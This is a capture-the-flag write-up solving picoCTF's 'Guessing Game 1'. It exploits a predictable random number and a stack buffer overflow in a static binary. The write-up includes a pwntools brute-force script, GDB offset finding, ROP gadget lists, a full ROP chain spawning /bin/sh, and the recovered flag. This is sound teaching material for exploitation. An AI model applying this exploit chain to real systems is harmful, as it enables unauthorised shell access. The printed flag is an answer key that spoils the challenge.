Guessing Game 1
6 minutes to read
We are given a 64-bit static binary called vuln
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Static code analysis
We also have the C source code. Basically, what the program does is request a number, compare it with a random one and if it is the same, then request a username to print a message:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
First of all, we notice that the get_random
function is calling rand
and computing the remainder when dividing by 100 (BUFSIZE
). Since the seed is the same when the process starts, we can perform a trial-error procedure until we obtain the correct number (iterating from 0 to 99).
Once having that value, we get access to the win
function:
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
Buffer Overflow vulnerability
Despite using fgets
, this function is vulnerable to Buffer Overflow because variable winner
has been assigned a 100-length buffer (BUFSIZE
) and we are reading 360 bytes from standard input, so we can write outside the reserved buffer.
We must recall the protections of the binary:
- It has NX enabled, so we cannot execute custom shellcode on the stack
- It has a stack canary, so there is be a random value placed before
$rip
that will be validated before every return instruction to prevent that$rip
is overwritten. If the value of the canary is modified, then the program exits; otherwise, the program continues
Nevertheless, the canary will not affect this time. Although the output of checksec
showed that a stack canary was found, the provided Makefile
tells to compile the source code without canary:
all:
gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
clean:
rm vuln
Since NX is enabled, we need to use ROP (Return Oriented Programming). This technique takes addresses within the binary that contain instructions (gadgets) that end in ret
. As a result, we can concatenate a list of gadgets so that they are executed one by one (ROP chain). This is the way to bypass NX, because we are executing instructions located in the binary, not in the stack.
Exploit development
Let’s begin performing a brute force attack over the number. Notice that the binary is static, so the rand
function will give always the same value at the first time.
Guessing the number
We can create a simple Python script using pwntools
to start the process, enter a number and close the process if the number is not correct:
#!/usr/bin/env python3
from pwn import *
context.binary = ELF('vuln', checksec=False)
elf = context.binary
number = 0
number_progress = log.progress('Guessing number')
for i in range(1, 101):
number_progress.status(str(i))
with context.local(log_level='CRITICAL'):
p = elf.process()
p.sendlineafter(b'What number would you like to guess?\n', str(i).encode())
if b'Congrats!' in p.recvline():
number = i
break
p.close()
if number == 0:
log.critical('Failed to guess number')
log.success(f'Guessed number: {number}')
p.close()
After running the script, we get that the number is 84:
$ python3 solve.py
[.] Guessing number: 84
[+] Guessed number: 84
[*] Stopped process './vuln' (pid 361991)
Buffer Overflow exploitation
Now we can use GDB to figure out the offset to overwrite $rsp
using a pattern string:
$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gef➤ pattern create 500
[+] Generating a pattern of 500 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
[+] Saved as '$_gef1'
gef➤ run
Starting program: ./vuln
Welcome to my guessing game!
What number would you like to guess?
84
Congrats! You win! Your prize is this print statement!
New winner!
Name? aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaa
taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaa
aboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaa
aaacjaaaaaackaaaaaaclaaaaaacmaaa
Congrats aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaa
aaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaa
aaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaa
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400c8b in win ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 120 (little-endian search) likely
[+] Found at offset 113 (big-endian search)
Alright. Now we can start building the ROP chain. Since it is a static binary, we need to perform a syscall
to execute execve("/bin/sh", NULL, NULL);
. For that purpose, we need:
$rax
to have a value of0x3b
$rdi
to have a pointer to the string"/bin/sh"
$rsi
to have a value of0
(NULL
)$rdx
to have a value of0
(NULL
)
We can use ROPgadget
to find gadgets of the form pop <register> ; ret
and the syscall
:
$ ROPgadget --binary vuln | grep ': pop r[ads][ix] ; ret$'
0x00000000004163f4 : pop rax ; ret
0x0000000000400696 : pop rdi ; ret
0x000000000044a6b5 : pop rdx ; ret
0x0000000000410ca3 : pop rsi ; ret
$ ROPgadget --binary vuln | grep ': syscall$'
0x000000000040137c : syscall
Now we need to find a writable memory space, such as .bss
, to write the string "/bin/sh"
. The address of .bss
can be obtained with readelf
:
$ readelf -S vuln | grep '\.bss'
[26] .bss NOBITS 00000000006bc3a0 000bc398
The last gadget we need is one to store "/bin/sh"
to the address of bss
. We need an instruction of the form mov qword ptr [<register>], <register> ; ret
. Anyone of these will be useful:
$ ROPgadget --binary vuln | grep ': mov .word ptr \[r..\], r.. ; ret$'
0x000000000048dd71 : mov qword ptr [rax], rdx ; ret
0x000000000043608b : mov qword ptr [rdi], rcx ; ret
0x0000000000436393 : mov qword ptr [rdi], rdx ; ret
0x0000000000447d7b : mov qword ptr [rdi], rsi ; ret
0x0000000000419127 : mov qword ptr [rdx], rax ; ret
0x000000000047ff91 : mov qword ptr [rsi], rax ; ret
I decided to use mov qword ptr [rdx], rax ; ret
. Now, let’s build the ROP chain in the Python exploit and send it:
bss = 0x6bc3a0
pop_rdi_ret = 0x400696
pop_rsi_ret = 0x410ca3
pop_rdx_ret = 0x44a6b5
pop_rax_ret = 0x4163f4
mov_qword_ptr_rdx_rax_ret = 0x419127
syscall = 0x40137c
offset = 120
junk = b'A' * offset
payload = junk
payload += p64(pop_rdx_ret) # $rdx = .bss
payload += p64(bss)
payload += p64(pop_rax_ret) # $rax = "/bin/sh"
payload += b'/bin/sh\0'
payload += p64(mov_qword_ptr_rdx_rax_ret) # Store "/bin/sh" in .bss
payload += p64(pop_rax_ret) # $rax = 0x3b
payload += p64(0x3b)
payload += p64(pop_rdi_ret) # $rdi = .bss (pointer to "/bin/sh")
payload += p64(bss)
payload += p64(pop_rsi_ret) # $rsi = 0
payload += p64(0)
payload += p64(pop_rdx_ret) # $rdx = 0
payload += p64(0)
payload += p64(syscall)
p.sendlineafter(b'Name?', payload)
p.recvline()
p.recvline()
If we run it locally, we will have a shell:
$ python3 solve.py
[┤] Guessing number: 84
[+] Guessed number: 84
[*] Switching to interactive mode
$ ls
Makefile solve.py vuln vuln.c
Flag
Perfect, now let’s run it on the remote instance:
$ python3 solve.py jupiter.challenges.picoctf.org 50581
[┤] Guessing number: 84
[+] Guessed number: 84
[*] Switching to interactive mode
$ ls
flag.txt
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_1ed68bc5575f6be1}
The full exploit can be found in here: solve.py
.